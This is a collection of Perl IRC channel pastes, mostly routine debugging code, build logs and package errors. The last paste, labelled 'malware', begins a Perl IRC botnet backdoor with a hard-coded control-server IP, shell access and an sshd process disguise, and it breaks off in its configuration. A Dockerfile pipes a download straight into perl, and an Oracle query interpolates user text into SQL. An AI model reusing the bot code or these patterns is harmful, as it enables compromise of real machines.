	print "\t]".",\n";
}

output:

'=> [   'host1
',      	'nfs1:/vol/vol01 /var1 nfs rw,bg,intr,noacl,hard,tcp,rsize=32768,wsize=32768 0 0 
',      	'nfs1:/vol/vol02 /var2 nfs rw,bg,intr,noacl,hard,tcp,rsize=32768,wsize=32768 0 0 
',      	'nfs1:/vol/vol03 /var3 nfs rw,bg,intr,noacl,hard,tcp,rsize=32768,wsize=32768 0 0 
',      	'nfs1:/vol/vol04 /var4 nfs rw,bg,intr,noacl,hard,tcp,rsize=32768,wsize=32768 0 0
],
'=> [   'host2
',      	'nfs1:/vol/vol01 /var1 nfs rw,bg,intr,noacl,hard,tcp,rsize=32768,wsize=32768 0 0 
',      	'nfs1:/vol/vol02 /var2 nfs rw,bg,intr,noacl,hard,tcp,rsize=32768,wsize=32768 0 0 
',      	'nfs1:/vol/vol03 /var3 nfs rw,bg,intr,noacl,hard,tcp,rsize=32768,wsize=32768 0 0 
',      	'nfs1:/vol/vol04 /var4 nfs rw,bg,intr,noacl,hard,tcp,rsize=32768,wsize=32768 0 0
],


who: vali
where: localhost:perlbot:#perl
paste:
my $start = [gettimeofday()];

my $soap = SOAP::Lite
    ->readable(1)
    ->uri($NS)
    ->proxy($HOST, timeout => 30, keep_alive => 1);

my $soapd = new SOAP::Data->type(hash => $opt);
my $som = $soap->command($soapd);
my $result = $som->result;
if (exists $result->{$opt->{domain}}) {
    $result = $result->{$opt->{domain}}
}


where: localhost:perlbot:#perl
paste:
sub search {
     my ($query) = @_;
     my $searches = $twitter->search( { q => $query } );
     if ( $settings->{debug} == 1 ) {
         print Dumper $searches;
     }
     else {
 
         for my $search ( @{ $searches->{statuses} } ) {
             $thing =
 "$search->{created_at} <$search->{user}{screen_name}> $search->{text} $searc    h->{id} Favorited: $search->{favorite_count} Retweeted: $search->{retweet_co    unt}\n";
 
             $thing =~ s/[^[:ascii:]]+//g;
             print "$thing\n";
             print "$search->{entities}{hashtags}{text}\n";
     
          }

}

sub ask_commands {
if ( $command =~ /^:search "(.+)"$/i ) {
         my (@queries) = split(/, /, $1);
         search(@queries);
        ask_commands();
     }
}


paste:
sub search {
     my ($query) = @_;
     my $searches = $twitter->search( { q => $query } );
     if ( $settings->{debug} == 1 ) {
         print Dumper $searches;
     }
     else {
 
         for my $search ( @{ $searches->{statuses} } ) {
             $thing =
 "$search->{created_at} <$search->{user}{screen_name}> $search->{text} $searc    h->{id} Favorited: $search->{favorite_count} Retweeted: $search->{retweet_co    unt}\n";
 
             $thing =~ s/[^[:ascii:]]+//g;
             print "$thing\n";
             print "$search->{entities}{hashtags}{text}\n";
     
          }
     }
}

sub ask_commands {
if ( $command =~ /^:search "(.+)"$/i ) {
         my (@queries) = split(/, /, $1);
         search(@queries);
        ask_commands();
     }
}


paste:
$VAR1 = {
          'search_metadata' => {
                                 'count' => 1,
                                 'max_id_str' => '834016072500076544',
                                 'refresh_url' => '?since_id=834016072500076544&q=perl&include_entities=1',
                                 'since_id' => 0,
                                 'next_results' => '?max_id=834016072500076543&q=perl&count=1&include_entities=1',
                                 'query' => 'perl',
                                 'completed_in' => '0.046',
                                 'since_id_str' => '0',
                                 'max_id' => '834016072500076544'
                               },
          'statuses' => [
                          {
                            'in_reply_to_status_id' => '834015723521396738',
                            'in_reply_to_status_id_str' => '834015723521396738',
                            'in_reply_to_screen_name' => 'feng5476',
                            'lang' => 'ja',
                            'is_quote_status' => bless( do{\(my $o = 0)}, 'JSON::PP::Boolean' ),
                            'place' => undef,
                            'favorite_count' => 0,
                            'id_str' => '834016072500076544',
                            'contributors' => undef,
                            'metadata' => {
                                            'result_type' => 'recent',
                                            'iso_language_code' => 'ja'
                                          },
                            'created_at' => 'Tue Feb 21 12:25:01 +0000 2017',
                            'favorited' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                            'retweeted' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                            'source' => '<a href="http://twitter.com" rel="nofollow">Twitter Web Client</a>',
                            'id' => '834016072500076544',
                            'text' => "\@feng5476 \x{3084}\x{308b}\x{304b}",
                            'in_reply_to_user_id' => 2908213194,
                            'in_reply_to_user_id_str' => '2908213194',
                            'user' => {
                                        'screen_name' => 'Perl___',
                                        'profile_image_url' => 'http://pbs.twimg.com/profile_images/831521039158894592/y6olA-OQ_normal.jpg',
                                        'default_profile_image' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'friends_count' => 148,
                                        'is_translator' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'profile_use_background_image' => bless( do{\(my $o = 1)}, 'JSON::PP::Boolean' ),
                                        'profile_image_url_https' => 'https://pbs.twimg.com/profile_images/831521039158894592/y6olA-OQ_normal.jpg',
                                        'profile_background_tile' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'profile_link_color' => 'FF691F',
                                        'translator_type' => 'none',
                                        'default_profile' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'contributors_enabled' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'id' => 511409568,
                                        'following' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'has_extended_profile' => $VAR1->{'statuses'}[0]{'user'}{'profile_use_background_image'},
                                        'profile_text_color' => '333333',
                                        'is_translation_enabled' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'profile_background_image_url' => 'http://pbs.twimg.com/profile_background_images/595628698130190336/EFsIfcpJ.jpg',
                                        'statuses_count' => 10463,
                                        'entities' => {
                                                        'description' => {
                                                                           'urls' => []
                                                                         }
                                                      },
                                        'favourites_count' => 569,
                                        'profile_background_image_url_https' => 'https://pbs.twimg.com/profile_background_images/595628698130190336/EFsIfcpJ.jpg',
                                        'profile_banner_url' => 'https://pbs.twimg.com/profile_banners/511409568/1481070935',
                                        'geo_enabled' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'listed_count' => 4,
                                        'name' => 'Perl...',
                                        'lang' => 'ja',
                                        'follow_request_sent' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'profile_background_color' => 'C9DE2C',
                                        'profile_sidebar_border_color' => 'FFFFFF',
                                        'created_at' => 'Fri Mar 02 05:21:45 +0000 2012',
                                        'protected' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'time_zone' => 'Irkutsk',
                                        'id_str' => '511409568',
                                        'followers_count' => 67,
                                        'utc_offset' => 28800,
                                        'verified' => $VAR1->{'statuses'}[0]{'is_quote_status'},
                                        'description' => "\x{30e9}\x{30f3}\x{30a8}\x{30dc}\x{2167}\x{4e57}\x{3063}\x{3066}\x{307e}\x{3059}\x{3001}\x{6c17}\x{8efd}\x{306b}\x{3075}\x{3049}\x{308d}\x{30fc}",
                                        'profile_sidebar_fill_color' => 'DDEEF6',
                                        'url' => undef,
                                        'location' => "\x{6728}\x{306e}\x{4e2d}",
                                        'notifications' => $VAR1->{'statuses'}[0]{'is_quote_status'}
                                      },
                            'retweet_count' => 0,
                            'entities' => {
                                            'urls' => [],
                                            'user_mentions' => [
                                                                 {
                                                                   'id' => 2908213194,
                                                                   'id_str' => '2908213194',
                                                                   'screen_name' => 'feng5476',
                                                                   'indices' => [
                                                                                  0,
                                                                                  9
                                                                                ],
                                                                   'name' => 'feng.... ( hagi )'
                                                                 }
                                                               ],
                                            'symbols' => [],
                                            'hashtags' => []
                                          },
                            'geo' => undef,
                            'coordinates' => undef,
                            'truncated' => $VAR1->{'statuses'}[0]{'is_quote_status'}
                          }
                        ]
        };


who: LeoNerd
where: localhost:perlbot:#perl
what: Complaints about s///r during ./Build
paste:
leo@cel:~/src/perl/Tickit [bzr]
$ perl5.12.5 Build.PL
Checking pkg-config tickit --atleast_version 0... no
Using bundled libtickit source
Checking pkg-config termkey --atleast_version 0.16... yes
Using installed libtermkey
Use of uninitialized value $cflags in split at Build.PL line 36.
Checking pkg-config unibilium --atleast_version 1.1.0... yes
Using installed unibilium
Use of uninitialized value $cflags in split at Build.PL line 36.
./Created MYMETA.yml and MYMETA.json
Creating new 'Build' script for 'Tickit' version '0.61_003'

leo@cel:~/src/perl/Tickit [bzr]
$ ./Build clean
Cleaning up build files

leo@cel:~/src/perl/Tickit [bzr]
$ ./Build 
Building Tickit
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/hooklists.o src/hooklists.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/rect.o src/rect.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/term.o src/term.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/debug.o src/debug.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/termdriver-ti.o src/termdriver-ti.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/renderbuffer.o src/renderbuffer.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/string.o src/string.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/rectset.o src/rectset.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/termdriver-xterm.o src/termdriver-xterm.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/window.o src/window.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/mockterm.o src/mockterm.c
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o src/pen.o src/pen.c
Bareword found where operator expected at (eval 631) line 1, near "s/_MAYBE$//r"
Bareword found where operator expected at (eval 631) line 1, near "s/_MAYBE$//r"
syntax error at (eval 631) line 1, near "s/_MAYBE$//r "
syntax error at (eval 631) line 1, near "s/_MAYBE$//r "
Use of uninitialized value in concatenation (.) or string at /home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/site_perl/5.12.5/ExtUtils/ParseXS.pm line 1964, <$__ANONIO__> line 2732.
cc -Iinclude -Isrc -I/home/leo/perl5/perlbrew/perls/perl-5.12.5/lib/5.12.5/x86_64-linux/CORE -DXS_VERSION="0.61_003" -DVERSION="0.61_003" -fPIC -std=c99 -DHAVE_UNIBILIUM -c -fno-strict-aliasing -pipe -fstack-protector -I/usr/local/include -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64 -O2 -o lib/Tickit.o lib/Tickit.c
ExtUtils::Mkbootstrap::Mkbootstrap('blib/arch/auto/Tickit/Tickit.bs')
cc -shared -O2 -L/usr/local/lib -fstack-protector -o blib/arch/auto/Tickit/Tickit.so lib/Tickit.o src/hooklists.o src/rect.o src/term.o src/debug.o src/termdriver-ti.o src/renderbuffer.o src/string.o src/rectset.o src/termdriver-xterm.o src/window.o src/mockterm.o src/pen.o -ltermkey -lunibilium


who: theorem
what: trying to add the $child to a hash
paste:
sub routine {
    my $child = POE::Wheel::Run->new(
        Program => [ "/bin/ls", "-1", "/" ],
        StdoutEvent  => "got_child_stdout",
        StderrEvent  => "got_child_stderr",
        CloseEvent   => "got_child_close",
    );

    $CHILDREN{$child};
}




where: localhost:perlbot:#perl
paste:
my %time_activity = (
	"night" => my %nightMap = (),
	"morning" => my %morningMap = (),
	"afternoon" => my %afternoonMap = (),
	"evening" => my %eveningMap = (),
);

open(my $fh, "logfile") or die "Error";

while (my $row = <$fh>) {
	chomp $row;
	if ($row =~ m/\[(\d\d):(\d\d):(\d\d)\] \<(.+)> (.+)$/) {

		my ($hour, $minutes, $seconds, $user, $text) = ($1, $2, $3, $4, $5);
		my @words = split(" ", $text);
		
		if ($hour ~~ [00..05]) {
			$time_activity{"night"}{nightMap}{$user}++;
		}
		if ($hour ~~ [06..11]) {
			$time_activity{"morning"}{morningMap}{$user}++;

		}
		if ($hour ~~ [12..17]) {
			$time_activity{"afternoon"}{afternoonMap}{$user}++;

		}
		if ($hour ~~ [18..23]) {
			$time_activity{"evening"}{eveningMap}{$user}++;

		}
}


who: theorem
where: localhost:perlbot:#perl
what: next
paste:
#!/usr/bin/perl
use strict;
use warnings;
use File::ChangeNotify;
use Getopt::Std;
use Data::Dumper;
use POE qw ( Wheel::Run );
use Device::SerialPort
STDOUT->autoflush(1);
# more explicit that $| = 1;

my %tracking;

POE::Session->create(
        inline_states => {
            _start           => \&on_start,
            got_child_stdout => \&on_child_stdout,
            got_child_stderr => \&on_child_stderr,
            got_child_close  => \&on_child_close,
            got_child_signal => \&on_child_signal,
            _stop => \&stop_handler,
        }
);

POE::Kernel->run();
exit 0;

sub on_start {
    $_[HEAP]{ts_start} = time(); # track start time
    my $watch = File::ChangeNotify->instantiate_watcher (
        directories => [ '/dev', './' ],
        filter      => qr/(.*USB.*)$/,
    );

    if ( my @events = $watch->new_events() ) { }

    # blocking
    while ( my @events = $watch->wait_for_events() ) {
        foreach my $device ( @events ) {
            if ( $device->{'type'} eq 'create' && $device->{'path'} =~ /USB/ ) {
                print "New USB detected! : ",Dumper($device),"\n";
                my $go = "No";
                my $id = '';
                while ( $go =~ /[Nn][Oo]*/ ) {
                    print "Which device number should we assign? [##]: ";
                    $id = <STDIN>;
                    chomp ($id);
                    print "We will begin writing to device : '$id'. Is this correct ? [Y/n]: ";
                    $go = <STDIN>;
                    chomp $go;
                    if ( $go eq '' ) {
                        # default yes
                        $go = 'Y';
                    }
                    if ( $id !~ /\d+/)  {
                        print "Device number must be a series of digits\n";
                        $go = 'n';
                    }
                    elsif ( exists $tracking{$id} ) {
                        print "$id is already in progress.  Try again.\n";
                    }
                    else {
                        print "Device will be labeled $id\n";
                        $tracking{$id} = 1;
                    }
                }

                # spawn fork, connect to console
                my $child = POE::Wheel::Run->new(
                    #Program => [ "/bin/ls", "-1", "/" ],
                    Program => \&image_device,
                    StdoutEvent  => "got_child_stdout",
                    StderrEvent  => "got_child_stderr",
                    CloseEvent   => "got_child_close",
                );

                $_[KERNEL]->sig_child($child->PID, "got_child_signal");

                # Wheel events include the wheel's ID.
                $_[HEAP]{children_by_wid}{$child->ID} = $child;

                # Signal events include the process ID.
                $_[HEAP]{children_by_pid}{$child->PID} = $child;

                print(
                "Child pid ", $child->PID,
                " started as wheel ", $child->ID, ".\n"
                );

            }
            else {
                print "Skipping other USB event detected...\n";
                #print Dumper ($device);
            }
        }
    }
}

sub image_device {
    STDOUT->autoflush(1);
    die "SING FOR ME!\n";
}

# Wheel event, including the wheel's ID.
sub on_child_stdout {
    my ($stdout_line, $wheel_id) = @_[ARG0, ARG1];
    my $child = $_[HEAP]{children_by_wid}{$wheel_id};
    print "pid ", $child->PID, " STDOUT: $stdout_line\n";
}

# Wheel event, including the wheel's ID.
sub on_child_stderr {
    my ($stderr_line, $wheel_id) = @_[ARG0, ARG1];
    my $child = $_[HEAP]{children_by_wid}{$wheel_id};
    print "pid ", $child->PID, " STDERR: $stderr_line\n";
}

sub on_child_close {
    my $wheel_id = $_[ARG0];
    my $child = delete $_[HEAP]{children_by_wid}{$wheel_id};

    # May have been reaped by on_child_signal().
    unless (defined $child) {
        print "wid $wheel_id closed all pipes.\n";
        return;
    }

    print "pid ", $child->PID, " closed all pipes.\n";
    delete $_[HEAP]{children_by_pid}{$child->PID};
}

sub on_child_signal {
    print "pid $_[ARG1] exited with status $_[ARG2].\n";
    my $child = delete $_[HEAP]{children_by_pid}{$_[ARG1]};

    # May have been reaped by on_child_close().
    return unless defined $child;
    delete $_[HEAP]{children_by_wid}{$child->ID};
}

sub stop_handler {
    my $elapsed = time() - $_[HEAP]{ts_start};
    print "Session ", $_[SESSION]->ID, " elapsed seconds: $elapsed\n";
}
                       


who: brimonk
where: localhost:perlbot:#perl
what: test.pl
paste:
#!/usr/bin/env perl



# ---------------------------------------------------------------------------- #
# package Help
#
# functionality : Implements a, 'help' command.

package Help;
use Moose;

# VARS
has help_text => (
	is  => 'ro',
	isa => 'Str'
);
has file => (
	is => 'ro',
	isa => 'Str',
	required => 1,
);

sub get_action {
	my ($self) = @_;
	my $return_val;

	print "getting action\n";
	open (my $fh, "<", $self->file) || return "";

	my $val = "";
	while (<$fh>) {
		$val = $val . $_;
	}

	return $val;
}

# -- Boiler Plate Code ------------------------------------------------------- #
no Moose;
1;





use warnings;
use strict;
use lib qw(lib);
use Help;

# -- Create the Commands List, and add them one by one ----------------------- #
my @commands_list = [];

# print help text
my $help_message = Help->new({
	help_text => "use '!help' alone to see the help text",
	file => "help/help/help"
});

# bless $help_message;

push @commands_list, $help_message;

# print out the help file
print $help_message->file . "\n";
print $help_message->get_action($help_message->file) . "\n";
print $help_message->help_text . "\n";

print "\n\n\n";
# print out the help file
print $commands_list[0]->help_text . "\n";
print $commands_list[0]->get_action($commands_list[0]->file);



who: vague
paste:
Examining php-common-5.3.3-48.el6_8.x86_64.rpm: php-common-5.3.3-48.el6_8.x86_64
Marking php-common-5.3.3-48.el6_8.x86_64.rpm as an update to php-common-5.3.3-46.el6_6.x86_64
Resolving Dependencies
--> Running transaction check
---> Package php-common.x86_64 0:5.3.3-46.el6_6 will be updated
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-snmp-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-cli-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-mbstring-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-process-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-gd-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-pgsql-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-mysql-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-xml-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-pdo-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-ldap-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-5.3.3-46.el6_6.x86_64
---> Package php-common.x86_64 0:5.3.3-48.el6_8 will be an update
--> Running transaction check
---> Package php.x86_64 0:5.3.3-46.el6_6 will be updated
---> Package php.x86_64 0:5.3.3-48.el6_8 will be an update
---> Package php-cli.x86_64 0:5.3.3-46.el6_6 will be updated
---> Package php-cli.x86_64 0:5.3.3-48.el6_8 will be an update
---> Package php-common.x86_64 0:5.3.3-46.el6_6 will be updated
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-snmp-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-mbstring-5.3.3-46.el6_6.x86_64
--> Processing Dependency: php-common(x86-64) = 5.3.3-46.el6_6 for package: php-process-5.3.3-46.el6_6.x86_64
---> Package php-gd.x86_64 0:5.3.3-46.el6_6 will be updated
---> Package php-gd.x86_64 0:5.3.3-48.el6_8 will be an update
---> Package php-ldap.x86_64 0:5.3.3-46.el6_6 will be updated
---> Package php-ldap.x86_64 0:5.3.3-48.el6_8 will be an update
---> Package php-mysql.x86_64 0:5.3.3-46.el6_6 will be updated
---> Package php-mysql.x86_64 0:5.3.3-48.el6_8 will be an update
---> Package php-pdo.x86_64 0:5.3.3-46.el6_6 will be updated
---> Package php-pdo.x86_64 0:5.3.3-48.el6_8 will be an update
---> Package php-pgsql.x86_64 0:5.3.3-46.el6_6 will be updated
---> Package php-pgsql.x86_64 0:5.3.3-48.el6_8 will be an update
---> Package php-xml.x86_64 0:5.3.3-46.el6_6 will be updated
---> Package php-xml.x86_64 0:5.3.3-48.el6_8 will be an update
--> Finished Dependency Resolution
Error: Package: php-process-5.3.3-46.el6_6.x86_64 (installed)
           Requires: php-common(x86-64) = 5.3.3-46.el6_6
           Removing: php-common-5.3.3-46.el6_6.x86_64 (installed)
               php-common(x86-64) = 5.3.3-46.el6_6
           Updated By: php-common-5.3.3-48.el6_8.x86_64 (/php-common-5.3.3-48.el6_8.x86_64)
               php-common(x86-64) = 5.3.3-48.el6_8
           Available: php-common-5.3.2-6.el6.x86_64 (rhel-6-server-rpms)
               php-common(x86-64) = 5.3.2-6.el6
           Available: php-common-5.3.2-6.el6_0.1.x86_64 (rhel-6-server-rpms)
               php-common(x86-64) = 5.3.2-6.el6_0.1
           Available: php-common-5.3.3-3.el6.x86_64 (rhel-6-server-rpms)
               php-common(x86-64) = 5.3.3-3.el6
           Available: php-common-5.3.3-3.el6_1.3.x86_64 (rhel-6-server-rpms)
               php-common(x86-64) = 5.3.3-3.el6_1.3
           Available: php-common-5.3.3-3.el6_2.5.x86_64 (rhel-6-server-rpms)
               php-common(x86-64) = 5.3.3-3.el6_2.5
           Available: php-common-5.3.3-3.el6_2.6.x86_64 (rhel-6-server-rpms)
               php-common(x86-64) = 5.3.3-3.el6_2.6


who: su-shee
where: localhost:perlbot:#perl
paste:
ENV PERL_MM_USE_DEFAULT 1

# update the repository
RUN apt-get update

# install some basics
RUN apt-get install -y vim curl dialog net-tools \
            build-essential \
            postgresql-common libpq-dev

# make sure we actually have perl
RUN apt-get install -y perl

# install perl package manager
RUN curl -L http://cpanmin.us | perl - App::cpanminus

# install necessary modules
RUN cpanm --notest Mojolicious

and so on


where: localhost:perlbot:#perl
paste:
Errno architecture (x86_64-linux-thread-multi-4.6.4-301.fc24.x86_64) does not match executable architecture (x86_64-linux-thread-multi-4.10.0-0.rc4.git0.2.fc26.x86_64) at /usr/lib64/perl5/Errno.pm line 11.
Compilation failed in require at /usr/share/perl5/vendor_perl/File/Temp.pm line 17.
BEGIN failed--compilation aborted at /usr/share/perl5/vendor_perl/File/Temp.pm line 17.
Compilation failed in require at /usr/libexec/git-core/git-send-email line 28.
BEGIN failed--compilation aborted at /usr/libexec/git-core/git-send-email line 28.


where: localhost:perlbot:#perl
what: encoding
paste:
#!/usr/bin/perl -w
#

##### um Tabelle BAUTEIL1 auszulesen 
##### eventuell Suche nach Bezeichnung

use DBI;
use DateTime;
use POSIX qw(strftime);

use Encode qw( encode decode );

#
# Zuweisung der benötigten Directories für das Laden
#
my $fehler_datei = "./dbi_connect.log";  # Logdatei
 
(my $sec, my $min, my $std, my $tag, my $mon, my $jahr) = localtime(time());
$mon = $mon + 1;
$jahr = $jahr+1900;
my $heute = "$tag.$mon.$jahr $std:$min" ;
print "Heute: $heute\n";
#

my $l_anzahl_datensaetze = 0;  ##zaehlt Anzahl der Datensätze
my $datei;

my $suchbegriff_in =  decode( 'cp1252' ,  'zusätzliche Software' );


my $suchbegriff = $suchbegriff_in ;
my $suchbegriff = encode ( 'UTF-8' , $suchbegriff_in ) ;
#my $suchbegriff = encode ( 'cp1252' , $suchbegriff_in ) ;


$suchbegriff =~ s/ /A/g ;
print "suchbegriff: $suchbegriff\n";

###  Protokoll-Datei anlegen
open ( $datei , ">>$fehler_datei" ) or die "Unable to open datei $fehler_datei: $!";

print "Verbindungsaufbau zur Oracle DB ...\n";

#### Verbindung mit Oracle herstellen
####  connect to remote oracle db without using tnsnames.ora  !!!

my $dbora = DBI->connect("dbi:Oracle:host=172.27.1.59;sid=XE","theuser","thepass",
								{AutoCommit => 0 , RaiseError => 1, PrintError => 0})
    or die print $datei "$heute : Kein Connect zur Oracle-DB: $DBI::errstr\n";


my $stora;

$stora = $dbora->prepare (

					"SELECT BAUTEIL1_ID, BEZEICHNUNG, LIEFERANTEN, MENGE, LP, RABATT_IN, EK, LZ, ZUSTAND, INFO, DATUM, BEARBEITER, KAUF 
					   FROM BAUTEIL1 WHERE BEZEICHNUNG LIKE '%$suchbegriff%'" 
				); #prepare

### translate space to _
#$stora = $dbora->prepare (
#
#					"SELECT BAUTEIL1_ID, BEZEICHNUNG, LIEFERANTEN, MENGE, LP, RABATT_IN, EK, LZ, ZUSTAND, INFO, DATUM, BEARBEITER, KAUF 
#					   FROM BAUTEIL1 WHERE TRANSLATE (BEZEICHNUNG, ' ','A') LIKE '%$suchbegriff%'" 
#				); #prepare
				
$stora->execute();				

while ( ( my $l_BAUTEIL1_ID , my $l_BEZEICHNUNG , my $l_LIEFERANTEN , my $l_MENGE , my $l_LP , my $l_RABATT_IN 
         ,my $l_EK , my $l_LZ , my $l_ZUSTAND , my $l_INFO , my $l_DATUM , my $l_BEARBEITER , my $l_KAUF 
		
		) = $stora->fetchrow_array() )
{
		$l_anzahl_datensaetze = $l_anzahl_datensaetze + 1 ;
		print "Anz: $l_anzahl_datensaetze \tID: $l_BAUTEIL1_ID \tBezeichnung: $l_BEZEICHNUNG \tDatum: $l_DATUM   \n";
}		 # while


$dbora->do("Commit");

#### Verbindung mit Oracle abbauen
####
print "\nEs wurden insgesamt $l_anzahl_datensaetze Datensaetze zur Bezeichnung $suchbegriff  abgerufen \n\n" ;
print "Now disconnecting from the oracle database XE...\n";
$dbora->disconnect or warn "Disconnect failure from Oracle $DBI::errstr\n";

exit;   
   


who: Kreig91
where: localhost:perlbot:#perl
what: malware
paste:
#!/usr/bin/perl
my @mast3rs = ("z","k","x");

my @hostauth = ("localhost");
my @admchan=("#w");

my @server = ("188.166.217.235");
$servidor= $server[rand scalar @server] unless $servidor;


my $xeqt = "!";
my $homedir = "/tmp";
my $shellaccess = 1;
my $xstats = 1;
my $pacotes = 1;
my $linas_max = 5;
my $sleep = 6;
my $portime = 4;

my @fakeps = ("/usr/sbin/sshd");

my @nickname = ("LINUX");

my @xident = ("w");
my @xname = (`uname -a`);

#################
# Random Ports
#################
my @rports = ("80");

my @Mrx = ("\001mIRC32 v5.91 K.Mardam-Bey\001","\001mIRC v6.2 Khaled Mardam-Bey\001",
   "\001mIRC v6.03 Khaled Mardam-Bey\001","\001mIRC v6.14 Khaled Mardam-Bey\001",
   "\001mIRC v6.15 Khaled Mardam-Bey\001","\001mIRC v6.16 Khaled Mardam-Bey\001",
   "\001mIRC v6.17 Khaled Mardam-Bey\001","\001mIRC v6.21 Khaled Mardam-Bey\001",
   "\001Snak for Macintosh 4.9.8 English\001",
   "\001DvC v0.1 PHP-5.1.1 based on Net_SmartIRC\001",
   "\001PIRCH98:WIN 95/98/WIN NT:1.0 (build 1.0.1.1190)\001",
   "\001xchat 2.6.2 Linux 2.6.18.5 [i686/2.67GHz]\001",
   "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/2,00GHz]\001",
   "\001xchat:2.4.3:Linux 2.6.17-1.2142_FC4 [i686/1.70GHz]\001",
   "\001XChat-GNOME IRC Chat 0.16 Linux 2.6.20-8-generic [i686]\001",
